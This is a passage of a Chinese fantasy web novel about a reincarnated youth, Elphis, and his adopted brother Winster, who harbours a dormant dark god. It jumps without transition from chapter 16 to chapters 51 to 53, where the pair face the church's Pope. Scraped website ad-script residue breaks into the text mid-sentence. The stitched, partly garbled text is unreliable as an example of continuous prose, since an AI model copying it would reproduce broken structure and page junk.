这天夜里,熄了灯没多久,生物钟已经基本固定的艾尔菲斯就意识模糊了,大概下一瞬就能会见周公。 温斯特睁着眼睛,看向不远处的另一张床,突然出声:“哥哥,如果我变成恶魔了,你会检举我,让神官杀了我吗?” 声音很低,也不知道是在问别人还是在自言自语。 艾尔菲斯听到动静,努力撩起眼皮想回应他家小孩儿。 恶魔……艾尔菲斯脑子里首先出现的是长着羊角和翅膀的形象,“唔…为什么要杀你啊,温斯特会变得很厉害啊,以后哥哥就靠你保护了,如果长出了翅膀,可以带哥哥在天上飞吗?” 声音有些模糊,但温斯特还是听见了,心里的恐慌突然消失一大半,情不自禁地翘起了嘴角,“嗯!可以的!” 他以为哥哥还没睡,便想跟他说说话,以寻求安全感,“爷爷说拥有黑暗力量的都是天性邪恶的,哥哥不害怕恶魔吗?” 对方一时没有动静,等迟钝的脑子消化完听到的问题,才慢吞吞地回应道:“存在即合理,力量没有好坏之分,端看掌控力量的人是何品行。” “如果真的存在魔法力量,光明一家独大不会是好事,有黑暗制衡也不错。” “盛极必衰是自然规律,教廷迟早有没落的一天,等黑暗种族获得权力,估计又会说光明种族是虚伪的……温斯特做自己就好,不要被别人定义好坏。” 低沉的声音停顿了一下,又咕噜了几句:“光能是生物体生命活动所需能量的根本来源,但是没有黑暗,植物也不能正常生长了,黑暗还有助于放松,产生褪黑激素……光暗都很重要,真是的,大家就不能讲科学嘛……教廷那群王八蛋这么忌惮黑暗,怎么不发明电灯放在夜路上照明……” 这是艾尔菲斯从小被卡文牧师教导要留意黑暗魔法,检举黑暗种族的时候想吐槽的话,但是这些科学在这个世界是没有依据的,他便忍着没说。 这还是第一次说出口,只是意识不清醒,还没吐槽完呢,人就睡着了。 有些字眼在这个世界的语言中还没创造出来,他便用华夏语代替了,反正温斯特是完全没听懂他最后几句念叨了些什么,不过他听懂了前面——就算他变成了恶魔,哥哥也不会害怕他! 温斯特精神放松了些,终于沉睡过去了。 塞缪尔再次完全恢复意识的时候,自然也接收到了这具身体在这段时间的新记忆。 小孩儿轻蹙眉头——只是通过梦境形式解开点记忆封印,怎么就慌张成这样?废物…… 塞缪尔很快又反应过来他骂的是自己,顿时脸色更加难看。 即便是忘记了所有记忆包括常识,脑子空空如也,但本性难变,塞缪尔不觉得自己会是对未知感到恐慌的性子。 相反,他只会觉得有趣而更加主动的追求真相。 想到让温斯特抗拒记忆的原因,塞缪尔缓缓起身,悄无声息地……飘到了艾尔菲斯的床前,略带好奇地看着这个被浓厚光明元素包围的人族小崽子。 16. 第 16 章 一身单薄麻衣的男孩儿赤脚漂浮在艾尔菲斯床前,塞缪尔抱着臂膀,如墨黑眸中倒映的是被莹润白光包围的小少年。 男孩儿扯了下嘴角,似笑非笑,还未接触过魔法,甚至根本不信魔法的存在都能靠体质吸引来这么多光明元素,甚至可以说颇得元素喜爱,真是…… 可惜,生在这种地方,难有接触魔法的机会——也不知道该说这小崽子是幸运,还是不幸。 无法被纳入体内,只能在艾尔菲斯周身磨蹭的光明元素太多,在黑暗中略微刺眼,塞缪尔动了下手指,黑暗凝聚在少年身边,驱逐了仅他一人可见的光芒。 黑暗完全不会对塞缪尔的夜视造成阻碍,回忆起温斯特睡前的对话,他略带疑惑地看着艾尔菲斯稚嫩无害的睡颜—— 一个长于山野,长年被那个老牧师洗脑的小崽子,不敬神明也就罢了,居然能说出这般通透的话? 加上成熟的处事态度,以及看似擅于交际,实则冷漠淡然、与这片土地格格不入的出挑气质,塞缪尔怎么看艾尔菲斯都不是个正常小孩儿。 快速把记忆中选择重生的神明在脑子里过了一遍——像小崽子这样滥好心、脾气好还不蠢,让他看着不那么烦的,好像还真没有。 而且那些家伙只会挑有利于变强的地方重生,绝不会来这小破地方。 有趣,若是在神陨时代之前遇到,说不准他会捡回去养着玩儿了。 长发及肩的小孩儿冷着脸,他几乎确定这小崽子不正常,却一时想不出原因……也不急,再观察几年好了。 不过……如果他想再继续了解这小崽子,或者想继续留在这个没有威胁的环境好好长大,就不能凭借梦境向失忆的自己逐步开封记忆了,再这样下去,‘温斯特’都要因为害怕伤害到他的好哥哥而跑路了。 塞缪尔可不想让这具身体四处折腾,连饭都吃不饱,他又不能长时间出来。 反正就算彻底苏醒也无急事可做,就让‘温斯特’再长几年,到了不易受惊的年龄,他再继续开封记忆好了。 塞缪尔正做着决定,倏地烦躁皱眉——头痛。 不过才醒一会儿,这废物体魄就受不住万年的记忆,开始排斥完整意识了。 不出意外的话,他会有很长一段时间不会再出现了。 小孩儿又想到了什么,脸上尽是不爽,伸手扯了扯沉睡的艾尔菲斯的脸颊以做报复。 如果让曾经被塞缪尔赤手空拳打成肉饼的魔龙看到这场报复,准会气活过来! 塞缪尔的不爽源于他接收到的新记忆。 洗衣烧火做饭也就罢了,他也不是受了恩惠还白吃白住占人便宜的性子(打架抢劫靠实力说话的事情除外),而且自己也不再是无需进食的神明之躯了,学点生存技能也行。 但是做竹编草编、晒干货、菜地浇水捉虫拔野草、浆果园撵鸟,还打扫肮脏的兔圈??? 他都不知道自己还有这等耐心! 问题是做这些事赚那么点钱币,还不是给自己用的,‘温斯特’可是一心想着全部存着给哥哥买好东西! 这种如此看重某个人的感觉,让曾经看谁都烦、无聊了宁愿打架睡觉的塞缪尔极度不适应——若不是确定了这具身体是在母体死亡后他才占据了地盘,塞缪尔都要怀疑这个满心只有哥哥的人是另一个灵魂了。 然而塞缪尔性格再冷血霸道,也不至于对小恩人做什么,顶多就捏捏别人脸颊,然后吞下这口气,憋屈地回去沉睡了——小崽子,我们来日方长。 艾尔菲斯被施了点手段,被扯了脸颊也没感觉,一晚上睡得格外香甜。 他完全不知道自己很荣幸的成为第一个让脾气不好的黑暗神感到不爽却暂时束手无策的人。 翌日醒来,艾尔菲斯照旧神清气爽,精神饱满,温斯特正与他相反。 小孩儿头疼欲裂,但并不想告诉哥哥惹他担心,他昨晚一夜无梦,虽然身体不舒服,心里倒是松了口气。 艾尔菲斯看出了小孩儿脸色不好,走路都有些不稳,一逼问才知道是头疼,也没其它症状,艾尔菲斯便当作温斯特这段时间压力大,没休息好。 这下可拨动了艾尔菲斯的某根神经——他当初不就是因为没休息好才猝死的吗! 少年不容拒绝地将小孩儿留在屋子里休息,这两天什么都不许做,只管吃睡,无聊了就看看书。 自那日起,温斯特再也没有做过噩梦,之前升起的要离开利塞镇,以免哥哥会遭受厄运的想法也逐渐消失。 大概是哥哥说的那样吧,他越害怕什么事,就越会梦见它们。 那天晚上得知哥哥不会害怕恶魔之后,他压力小了一些,便没再梦见那些奇怪的事情了。 转眼就过了两人相识的第二个冬天,温斯特身高抽条明显,幸好艾尔菲斯也处于长个儿的年龄,所以他始终比小孩儿高一头。 温斯特的头发一直留着,如今已经可以和艾尔菲斯一样束起来了。 男孩子用布条扎起深琥珀色的长发,穿着一身简单的灰白上衣、棕色长裤和能裹住小腿的靴子,腰间别着一把匕首。 简朴的打扮也不会让他变得泯然众人,只因他长相亮眼,但没人会以‘可爱’来形容他,虽年龄不大,小脸的线条却有几分攻击性的俊郎。 温斯特的面色一如既往的有些沉,小小年纪便有了些不可招惹的气势。 与他共骑一马的艾尔菲斯跟温斯特差不多打扮,旁人看到他俩,又一次在心里感叹卡文牧师可真会捡孩子,两个小孩儿不但聪明懂事,长相也俊俏。 这是艾尔菲斯养孩子的第二个夏天。 今日,包括他们俩和威尔大叔之内的八个人要进城一趟。 艾尔菲斯主要是过去核对账目,顺便看看生意上有没有麻烦。 其他青壮年男人都是商队的成员,背上背着大刀,甭管会不会耍,一队人看起来威慑力是有了的,一般的劫匪不会撞上来。 至于混进队里的温斯特……其实不是来帮忙的,是艾尔菲斯想带他家乖孩子进城逛逛。 温斯特坐在前面,从哥哥手中拿过了缰绳,“你抓着我,我来驾马。”绳子粗糙,会摩疼哥哥的手。 艾尔菲斯只当小孩儿图新鲜图刺激,喜欢策马奔腾的感觉,无所谓地松开了绳子,他相信温斯特的骑术水平。 既艾尔菲斯参与进拉斐城的饮食行业已经过去了四年,加上特产店售卖的那些便于远程输送的货物,吸引来了不少外地人过来吃喝或者进货。 为了吸引一波又一波的外地人过来给他们薅羊毛,艾尔菲斯不得不注重拉斐城的整体吸引力。 受限于资源和技术水平,艾尔菲斯也不能让拉斐城添各种新玩意儿,他只是让莫恩传话,跟到店吃饭的城主商量了一下,注意城里的卫生情况,再沿路贴着墙做些花坛,让旅人看着心情惬意。 把路修平稳些,每条街可以安置几条长椅供人休息,最好城里有护卫巡逻,禁止盗窃和斗殴行为,让旅人有安全感。 这些小事吩咐一声便可,都不需要出什么钱,城主当然愿意给他的最大纳税人一个面子。 况且他也知道旅游业能带来大利益,听了主意后一点都不拖延,很快就派人执行了。 艾尔菲斯让莫恩买下了酒馆对面的店改建成旅馆,布局和配置都是严格按照他的要求来,建成后自然成为了最受旅人欢迎的住宿地方。 旅人多了自然会带动了经济,拉斐城做其它买卖的商人也对自己的行业燃起了热情。 卖服饰的有了更多创新,卖酒的开始调制不同口感,做陶土容器的开始琢磨其它精美造型……就连妓院的姑娘们都打扮的更好看了。 城里的铺子,甭管做什么生意,都购买了利塞镇的竹灯笼,天色一暗就挂在门口点上灯,也不用担心稍微吹点风火就熄了。 不少旅人喜欢在昏黄灯光下散步,别有意境,他们甚至觉得这比被贵族和教廷垄断的照明珠、还有那些精美昂贵的琉璃灯盏要好,毕竟这种灯笼大家都买得起啊! 这样没过多久,拉斐城又在外多了万星城、明火城、美食城等别称,名声已经小范围传播了出去。 如今,拉斐城环境好、风气好,吃喝住宿的条件甚至比王城舒服,临走前还能带些有趣的玩意儿离开。 除了地方偏还没有传送阵、没有珍贵的魔导材料,甚至连高等一些的魔法药剂都没有,倒也没有其它大缺点了。 当然,艾尔菲斯这种隔一段时间才进城一次,办完事就走的人还没有机会听到这种缺点。 —— “艾尔少爷,您来了,我来栓马,您进去坐着吧。” 有足够的营养,又有钱买魔药,几年下来,十一岁的莫娜已经长成很健康的小姑娘了。 扎着两个麻花辫的女孩儿对艾尔菲斯笑得真挚,对温斯特却只是礼节性地打了招呼——她和利塞镇的小孩儿们一样,都不太喜欢这个莫名出现就成了艾尔菲斯弟弟的男孩儿。 若是温斯特是讨喜的性格,或许会被同龄人接纳,但是他在别人面前总是冷漠又无趣,看起来脾气不好,很难相处,孩子们都觉得他是艾尔哥哥/少爷意外摊上的大麻烦。 艾尔菲斯照旧带着温斯特到酒馆后院休息 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 小少年给弟弟梳理着被风吹乱的长发,“骑这么久的马累不累?我们去对面的旅馆休息一晚,明日回去也可以。” 温斯特身上骨肉酸痛,但他不是很在乎,不过哥哥也一定累了…… “嗯,我想明天回去。” 兄弟俩聊了几句,这些年吃的越发圆润的格雷大叔笑着找过来了。 “艾尔,你们兄弟俩来的正好,这两日城主府安排了天赋测试,三年一次呢,艾尔上次就没进城,这次正好赶上,你俩等会儿吃了饭就去摸摸那水晶球。” 艾尔菲斯嘴角一抽,刚才路过了排着长队的地方,从刚出生的婴儿到二三十岁测了好几次始终没有放弃的年轻人顶着大太阳排了两条街,靠近测试点的地方还有不少看热闹的人。 拉斐城再小再偏也是个城,参与魔法天赋测试的人也够多了,硬是没有一个人让那个透明水晶球有点动静——艾尔菲斯也不觉得它会有动静,不过是权贵圈钱的幌子罢了。 没错,每个人在测试的时候要缴纳三十枚铜币,听起来并不贵,但这么多人交的钱加起来,城主府这次又能捞不少呢。 少年悠悠地喝了一口清香花茶,“我就懒得去排队了,我肯定没什么天赋。” 他才不当冤大头。 格雷大叔搓搓手,期待地看着他:“莫恩莫娜兄妹俩大清早就去测了,可惜测魔水晶没有动静,不过我们都觉得,如果是你的话,一定会让水晶亮起来的!” 几人是真心觉得艾尔菲斯无所不能,就算他测出了极高的魔法天赋,也不会觉得震惊。 艾尔菲斯好笑问道:“您在城里住了三十多年了,见了那么多次天赋测试,有见过水晶发亮吗?” 却没想到格雷眼睛一亮,“倒是有过一次,那还是我十几岁的时候的事情了,城主的弟弟让水晶变成了红色,听说是什么六品火系天赋,然后他很快就被送去王城了。” 艾尔菲斯更愿意相信人家本来就要送孩子去王城发展,顺便走前做了一场戏。 “哎,不知道传闻是不是真的,只有魔法师的后裔觉醒天赋的机会更大,咱们这些祖上就是平民的真的就几万人里可能才出一个奇迹?” 艾尔菲斯:“……”咋滴,这种天赋主要靠基因遗传? 格雷叹息完,又憨笑着跟少年说:“艾尔定然就是那个奇迹了,哦,对了,小温斯特看起来也是有天赋的,怎么样,你们要去试试看吗?” 艾尔菲斯无奈地看了他一眼,严重怀疑格雷大叔是看脸定天赋——您跟温斯特就见过三次,也没怎么说话,根本不熟好不好。 “不去。” 温斯特安静坐在旁边,他对此事也没兴趣,况且若他真有魔法天赋,定然是黑暗系,要避免接触测魔水晶才对。 格雷失望地叹了一口气,开始跟艾尔菲斯闲聊了。 “我今年都在店里见过两位魔法师大人了,还有好几位剑师,放在以前,人家才不会绕路来我们这种小地方,嘿~多亏了艾尔的乡亲们做的好东西,还有这些美味的食物,吸引来了不少外地人。” 少年挑眉,来了一分兴致:“您怎么就知道有魔法师过来了?莫非是见到他们使出了什么神奇的手段?” 格雷遗憾摇头,“这倒没有,又没有发生打斗,人家没有理由出手,我也是看他们穿着的法袍和手法杖认出身份的。” 格雷和莫恩等人相信艾尔菲斯有魔法天赋,并非只因为他过于出色,看起来什么都可以做到的样子,还因为他的气质和魔法师大人们有些相似…… 虽然艾尔看着温和,却总有种强大的、与他们一众平民格格不入的气场,让他不敢真的拿人当小孩儿对待,哦!还有小温斯特也给他同样的感觉。 这兄弟俩一看就跟他们普通人不一样,就算没有魔法天赋,说不定有剑术天赋呢! 大概还是听闻太多受了影响,艾尔菲斯小时候还不信魔法存在,如今也对此有了点期待,听到格雷的回答,也不知是失望多些,还是意料之中的心情多些。 艾尔菲斯不知道别人对他有多自信,他和温斯特吃了午餐,去旅馆睡了一会儿,就去同一条街上的特产店核对账目了。 至于商队的其他人,大家买好了镇民们需要的东西后,就提前回去了。 艾尔菲斯还记得让他们给卡文爷爷带话,明天再回家。 啧,头一次在外过夜,还有点小开心。 特产店生意不错,不止旅人,拉斐城的城民们也喜欢来买东西。 艾尔菲斯正要踏进门,正巧有个女人走了出来,两人打了照面,皆是一征…… 50-60 第051章 第 51 章 本来就只迈进了大门两步, 所以艾尔菲斯退的也格外得快。 神像之下,白发男人眼珠微斜,却一言不发, 任人离开。 等艾尔菲斯抬头看见无垠天空后,这才重重呼了一口气——作为神官中的一个混子, 他是真不想和一群上级们呆在一起啊! 艾尔菲斯准备回小殿中躲着, 他想着, 教皇多年不出现,一定有许多事情亟待了解, 大佬们不密谈几天不合适吧? 青年由衷希望主教在知道他已经回来的消息后就放心地无视他, 顾好顶头BOSS就行。 等他返回后, 发现艾布纳正在门口白柱旁负手而立,面色凝重, 也不知是为同僚的突然离世感到悲伤,还是有唇寒齿亡的危机感。 “怎么到我这里来了?” 艾布纳见他回来,叹了一口气,“我和黛芙妮也刚回来, 本来要去见主教阁下的, 听说他在圣殿,幸好我多问了一句教皇冕下是不是也在。” 这张正义好人脸露出一点后怕的神情,“差点就撞到冕下面前了……不, 我是说, 差点就打扰到那几位谈事了。” 艾尔菲斯记得, 克列维奇院长曾用单纯来形容教皇, 加上那位三百来岁的年龄和满头白发, 所以他下意识地以为教皇是个和蔼虔诚的老人,看到艾布纳这幅样子, 好奇问了一句:“你很怕教皇?” 艾布纳顿时皱眉反驳:“没有的事!那位是很温柔的人。” 反驳的太急,反而有欲盖弥彰之感,银发青年意味深长地看着他,艾布纳咳了一声,做贼似的左右一望,凑到艾尔耳边用气音说了一句:“我每次看到他就心虚!” 艾尔菲斯嫌弃地退开一步,“没人听得见,好好说话。” 艾布纳尴尬地摇摇头示意做不到,继续用气音说着:“只要身处教廷,我就觉得冕下无处不在,无所不知。” “……”这得是有多心虚? 跳过这个话题,艾尔菲斯抬步往殿内走,“刚才怎么不进去坐着?” “有些闷,出来透个气。” 艾尔菲斯只当他是心情不好,却不知对方已经将事实往轻了说——哪里是有些闷,分明是窒息,让人坐立难安! 也不知道艾尔的骑士怎么这么不守规矩,他进去的时候被嫌弃地瞟了一眼,然后对方皱了皱眉,似有不耐…… 不是,你在不耐烦什么?端茶送水的是仆从,你靠在椅背上,坐得跟屋主一样舒服自在! 若不是仆从介绍了这是艾尔的骑士,他还以为是哪里来的王公贵族呢! 同样都是骑士,站在门口的两人就很正常! 艾布纳认为艾尔的脾气好,不计较这些,他就逾越的多管教两句,免得这小子越来越失职。 艾布纳在斥责,对方懒洋洋地抬起眼皮看向他,眼眸黑沉无波,一直关注着里面的雷蒙都要以为温斯特要脱口而出一个“滚”字。 让他意外的是,温斯特只是平静地看着这位候选人,似乎…略带新奇。 确实新奇,塞缪尔还是头一遭被如此不长眼的蝼蚁给训斥。 仆从们不敢劝,主要是他们也觉得这骑士行为不端。 亚尔林觉得再这样下去,客人会更生气,这未免太有失礼数,便进去解释了一句:“大人,温斯特和我们主人自幼相识,关系密切,是当好友和兄弟相处的,所以行事会随意一些。” 正好艾布纳觉得自说自话有些尴尬,又被看的后背发凉,便接过台阶下来了,而后殿中安静了下来。 塞缪尔已经出来了好几天,这具身体还没有强到能长期容纳祂全部意识的程度,所以全身上下、从里到外,都开始泛着细密的疼了,脑袋的刺痛感更强,更让祂觉得不耐烦的是——祂现在真的很无聊,那小崽子怎么还没回来? 塞缪尔心情不好,所以艾布纳没坐多久就感受到更为强烈的压迫感,让他不自觉地放缓了呼吸,生怕惊扰到什么,而后终于受不了,离开了这片空间,站在殿门口等人。 然而,远离了一个脾气不好的骑士,门口还有一个人高马大的骑士时不时地盯他一眼,艾布纳一回头,对方就冲他狞笑,也不说话。 做什么?我难道还能是可疑人物吗?! 雷蒙倒是想和这名候选人打打交道,但是骑士有骑士的规矩,他不能太随意了,只能在对方看过来的时候友好地笑一笑,希望艾布纳等的无聊主动过来搭话。 但雷蒙对自己老成的相貌和匪徒一样的彪悍气质心里没数,他笑起来并不友好…… 三个骑士,性格气质天差地别,艾布纳难以想象艾尔究竟是什么眼光。 他等了一会儿,以为艾尔菲斯被主教他们留下了,已经想着去找黛芙妮聊聊好了,这时等的人就回来了。 “你来我这边干什么?” 艾布纳认真看了他一眼,“来关心你会不会害怕。” 他看起来也就三十,但年龄上都可以当艾尔的父亲了,所以几年来一直对这孩子多有照顾。 顿了一下,艾布纳叹了一口气,“我很庆幸出事的不是我,也不是你和黛芙妮。” 人都有私心,艾尔菲斯并不觉得这种想法哪里不好,“我也是……对了,你知道丹尼尔是怎么出事的吗?” “我也不清楚,还没来得及询问主教阁下,不过我们每次外出办事,都是有一位领域剑师贴身陪护,还有至少五名不低于大剑师境阶以下的圣骑士跟随。” “听主教说是百年前的凶手又出现了,如果这么久了他还活着,那确实有实力袭击如此强大的一支队伍。” 艾布纳看了旁边的青年一眼,真心觉得这孩子这么多年一个人在外面乱跑却活得好好的,确实是被神明眷顾了,“你没有先被盯上,或许是因为行踪不定,难以预料。” 青年蹙了一下眉,不确定自己是不是真的没被盯上。 艾尔菲斯:“你以后有什么安排吗?还要继续指哪儿去哪儿?” 以前追查凶手的时候,一直没有查到跟踪痕迹,教廷也猜测过会不会是对方先挑好地点制造问题,然后等着教廷派人过去。 若真如此,艾布纳随时可能踏入陷阱。 “都听教皇冕下安排。”他虽然不想面对冕下,但尊重和信任却是有的。 聊了几句后,两人进入了殿中,温斯特凑了过来,老实乖巧地叫了声“哥哥”。 除艾尔菲斯之外的所有人:“?” 你谁? 艾布纳脸色怪异,开始怀疑这小子经常装模作样来哄骗艾尔。 看着委屈巴巴黏过来的弟弟,艾尔菲斯现在也不好安慰,只能摸了摸他的脑袋。 温斯特稍微低着头,被温热的掌心抚去了心中半数戾气,好像连身上的疼痛都没那么烦人了。 然后哥哥就因为要谈别人不便听的事,把所有人、包括他给差遣出去了…… 门外,原本和温斯特站得挺近的雷蒙和亚尔林沉默地走远了些,看他们这位同僚的脸色,很像是会随时拔剑捅他们一下。 不多久,有一位圣骑士来此,“二位候选人大人,教皇冕下想要见你们。” “请阁下带路。” 两人对视一眼互作鼓励,然后掩饰住全身的不情愿跟了上去。 教廷高层仍在圣殿没有离开,艾尔菲斯一进正门就看见宽阔的殿宇中,只有一处有声,其它地方依旧沉寂肃穆,割裂感分明。 大主教们都站在神像面前讨论着什么,穿着银白盔甲的骑士们如雕塑站在外围,艾尔菲斯认得他们,都是领域剑师境阶的强者,还有一位剑圣,他们不说话,出现在这里看起来更像是一种震慑…… 黛芙妮已经先一步到达,看到来人向他们点了一下头。 “既然都到了,我就先说最重要的事。” 埃德加主教沉声开口道,“你们最近都不要离开教廷,等安葬了丹尼尔之后,我们就要请神明降临,选出圣子。” 这么突然? 三人一怔,同时想到,丹尼尔尸骨未寒就把他惦念一生的地位给安排了,他不会被气活吧? 艾布纳愧疚道:“阁下,我们的实力……恐怕会让神明失望。”最厉害的是他,也才九星魔导士而已。 艾尔菲斯震惊之后,就更关心教皇去了哪里,不是说要见他们? 他不喜欢跟年岁大的人交流,总感觉这些人深不可测……但来都来了,他也好奇被院长评价为早年单纯的人,如今又变成了什么样子。 “重要的是心,不是境阶。” 一道声音像是从上方传来,在这片空间荡起隐隐的回音,温柔悦耳,又有恰到好处的力度,带着一股安抚的力量…… 但在场的三位年轻人皆是心跳一乱——神、神明降临?!! 这么突然吗??? 他们绷着脸色,目露惊慌地抬头一看——神像没有异常,只是有一个人背生光翼,正停留在它肩边,手上拿着干净的白布,看样子是在清理灰尘。 艾尔菲斯从他的发色和紫纹衣袍认出了对方的身份,出乎意料的是,这位教皇看起来很年轻,面相不到三十,比起二十出头的艾尔菲斯,身形宽厚了一点,更多了几分成熟稳重男人的韵味。 他柔顺白发披散及腰,面容俊秀温和,皮肤有一种常年不见阳光的白。 他瞳色是浅淡的棕色,笑的时候会显得很温柔,不笑的时候又会有些冷淡。 此时,男人居高临下地看着他们,气质神态竟与旁边的神像有五分相似…… 三个年轻人纷纷行礼。 艾布纳:“日安,教皇冕下,许久没见到您了。” 黛芙妮:“刚才没有看见您,真是失礼了。” 银发青年也跟着从容地问好,“我已经敬仰您很久了,很荣幸见到您,冕下,我是艾尔菲斯·兰开斯特。” 男人继续擦拭着本就很干净的神像,弯了弯嘴角,说话时像家中长辈一样温和可亲,“艾尔,我先前有注意到你进来圣殿,怎么突然离开了?” 艾尔菲斯:“……………” 哦,不怪艾布纳会觉得教皇无处不在,绝口不敢说出格的话,现在他也这么觉得了。 第052章 第 52 章 “冕下, 我当时打扰到您了吗?” 一道道目光刷刷地落在同一个人身上,银发青年视线低垂,面上露出几分自责—— “抱歉, 因为主教阁下先前联络我的时候看起来非常难过,所以我回到教廷后就想来陪陪他……直到看到神像, 才想起自己还没来得及洗浴换衣, 这样满身脏污地出现在这里, 是对光明之神的冒犯,所以我不敢靠近。” “刚才也没来得及打理自己, 不过, 让这么多人等我未免太失礼了, 所以直接过来了……以这种姿态出现在神明眼下,我心里很愧疚。” 不久前艾尔菲斯还行走在山野间, 穿着简洁利落,便于行动的棉麻上衣、长裤长靴,与周围穿着庄重神官衣袍的人格格不入。 他看起来还是那么干净美好,但天气又热, 身上难免出了些薄汗, 沾染了灰尘。 如果是以前,主教还会严肃批评他是在冒犯神明,不过今天他心绪复杂, 还没注意到这件事情, 此时被艾尔菲斯主动提出来, 主教也没有皱眉, 反而心中的沉重被欣慰感取代了一点, 这孩子在关心他呢…… 此时,教皇已经降落在他们面前, 艾尔菲斯敛下的眉眼能看见对方手中的白布没有一点脏污——明明圣殿每天都有人仔细清扫,大佬还要亲自动手,这得有多虔诚啊! 埃德加:“冕下,艾尔的避开事出有因,未经休整便进入圣殿也是我们叫得急,请您不要责怪他。” 教皇脸上的表情很淡,可他语气轻缓,不管说什么都让人觉得他温柔又包容,“没有关系,光明的主人更欣赏干净的灵魂,艾尔不需要在意这种小事。” 青年微蹙的眉头终于松开了,看着教皇的眼神带着几分濡慕,“艾尔很感谢冕下的安慰。” 教皇对上了艾尔菲斯的双眸,“你的天赋很好,可以告诉我,现在是什么境阶吗?” 法师不动用魔法的时候,除了周身会有元素围绕,跟普通人也没什么区别,是以这个世界的强者并不能看透弱者的水平。 作为全场最弱的人,青年适当地显露出一点羞愧,“七星高阶,冕下,我觉得很不稳固,这个境阶的魔法能使出,但是威力不大,之前外出游历也是想锻炼一下自己。” 境阶升得这么快?!周围人闻言都面露诧异,有人好像想说什么,最终都抿着唇一字不发。 只有偶尔问问他情况的主教不觉震惊,偏头跟教皇搭话:“艾尔每日都在练习魔法,很勤奋的。” 教皇几不可见地眯了一下眼,温和鼓励道,“好孩子,继续努力,不要懈怠。” “我会的,冕下。” 艾尔菲斯以前忽悠人都是心不慌气不乱的,这次撒谎,却觉得心里发紧。 其实教皇给人的压迫感远不如塞缪尔强大,甚至可以说是没有,但奇怪的是,被那双剔透的淡色眼睛看着的时候,总感觉你的一切秘密在他面前都无所遁形…… 或许是强者本身就会让弱者有压力,年龄、外貌以及丰富的阅历又让他看起来格外通透。 难怪艾布纳不愿意见他,周围也没有一个大主教插话,甚至可以说是在降低存在感,这是生怕顶头boss发现自己心思不净啊! 咦,这么一想,在场的教廷高层,只有没做亏心事的主教和教皇才是异类! 思维一转,艾尔菲斯的紧张立即褪去了大半。 男人似柔似冷的眼眸微动,将另外两名候选人紧绷的神态看在眼里,“丹尼尔是在睡梦中遇害的,没有一个圣骑士察觉到动静,据他们所言,房间里是没有残留魔法痕迹的,一切都发生的很突然,袭击者至少有圣魔导士的境阶,这对你们来说很危险。” “正是因为你们实力不足,我才决定召唤神明挑选圣子,也请祂赐于你们庇佑,光明之神宽厚仁慈,不需要紧张。” 不管教皇说的再轻松,三个候选人仍然不安,那位毕竟是久远的传说,是凌驾于万物生灵之上的神明,是神秘叵测的光明之主……私底下做了出格的事,再加上信仰不诚,由不得他们不紧张。 艾尔菲斯也算切身体会到了什么叫叶公好龙,好奇和尊敬是有的,见面真的大可不必! 这些阳奉阴违的大主教们都算不上是真挚的信徒,他也不在乎被看透伪信徒这件事,只是很担心被神明察觉出他和身具暗系天赋的人接触过…… 即将召唤神明的决定显然是教皇在告知众人,不是商议,在场也没人愿意出声反驳,免得被教皇多看一眼。 黛芙妮双手交叠于胸前,面色是努力压制的激动,“非常荣幸能见到世界上最强大的存在。” 艾布纳的表情和她如出一辙,“冕下,神明真的不会在意我等的弱小吗?” 艾尔菲斯:开始演了?我也来! 青年看起来紧张又羞愧,“不敌黑暗种族,还需要请求神明的庇护,这样的我们,真的有成为圣子的资格吗?” 提及神明,教皇清俊的脸庞露出了像是怀念的笑意,“我当年和神明对话,被赐予圣子之位的时候,也只是刚踏入魔导士的水准而已,我想,法神和学徒对祂而言都没有区别…吾神欣赏心有光明的孩子,只要你们恪守信徒教条,就不需要有任何担心。” 三人:啊这,信不信徒的真不好说。 “威廉,安东尼,你们去丹尼尔遇袭的地方做调查吧。” 教皇点名了两位光系大主教去查探暗魔法的痕迹,也顺便让其他人都离开圣殿。 艾尔菲斯在门口回头,看见教皇飘浮在神像的脸旁,细致地擦拭着发丝缝隙,那背生白翼的模样,像极了圣洁又高贵的翼族——光明之神的从属,忠心耿耿的护卫。 之后,艾布纳和艾尔菲斯去安慰了主教一通。 丹尼尔虽说在教廷长大,但似乎并没有几个人真正为他的不幸遭遇而难过。 大主教中,两位光系是与教廷关系最密切的,与没什么背景又好掌控的丹尼尔可以算是一个派系,关系也更为密切一点,但艾尔菲斯没有从他们身上看出难过,只有丢了一枚重要棋子的气恼。 只有像主教这样没有自己孩子、看着候选人们从小长大的人才是真正将他们放在心上的…… 晚些时候,艾尔菲斯终于回了自己的小殿。 温斯特终于收敛了所有杀气迎了上去:“哥哥,你回来了,那些人怎么说?你有没有危险?” 亚尔林和雷蒙面色怪异,要不是他们仨都在彼此眼皮子底下,他俩都要怀疑之前那个温斯特是别人冒充的了! 银发青年食指抵唇,示意弟弟谨言慎行。 同样是法神级别的大佬,要艾尔菲斯做比较的话,他觉得克利维奇院长仍然和普通人一样在地面生存,更有真实感一点,看起来更平易近人的教皇反而飘忽不定,难以触及。 无法琢磨的存在对艾尔菲斯而言就代表着危险,他现在和艾布纳一样疑神疑鬼了,总觉得教皇在这片地方无所不知……哦,身为法神,他完全有本事做到这一点。 “既然已经是骑士了,就不要这么没规没矩的,不要多话,服从我的安排就好。” 温斯特难得迷茫:“……?” 亚尔林和雷蒙又沉默了:一个人刚恢复正常,另一人又不正常了。 第053章 第 53 章 没规没矩?他这是……被嫌弃了吗? 温斯特迷茫地看着哥哥, 双手已经不自觉地攥成了拳头,然后就见那双澄澈的眼快速眨了两下,纤长浓密的眼睫轻易扫去了他的不安, 那颗提起的心很快又落回了原位。 他不蠢,立即就想到了哥哥态度大变的原因。 高大的青年微微欠身, “是我逾矩了, 请您惩罚。” 艾尔菲斯温和地看着他, “我不希望你因为我们关系不错,就总是这么冒失, 惩罚就不必了, 过几日, 你就回庄园学一学骑士的礼仪制度吧。” 温斯特以为届时会跟哥哥一起回去,乖乖地应下了。 几步之外的雷蒙眼角抽动, 忍不住想难道在他们这个小团体中,行事作风变来变去是件很正常的事情? 那他以后也能偶尔搞特殊吗?等关系再熟稔一点,可以挑艾尔菲斯心情特别好的时候,大大咧咧地问一下教廷的动向吗?希望他的‘主人’可以像前几天对温斯特一样包容…… 亚尔林倒没有那么跳脱的想法, 他一向细致, 很快就反应过来,教廷中人循规蹈矩,温斯特这样的态度必然会招来神官不满。 之前的候选人比较随和, 与他们大人关系好, 就不会管太多, 其他资历更老的神官一定会要求调离温斯特, 如果还想继续共事, 大人确实该约束一下他的行为。 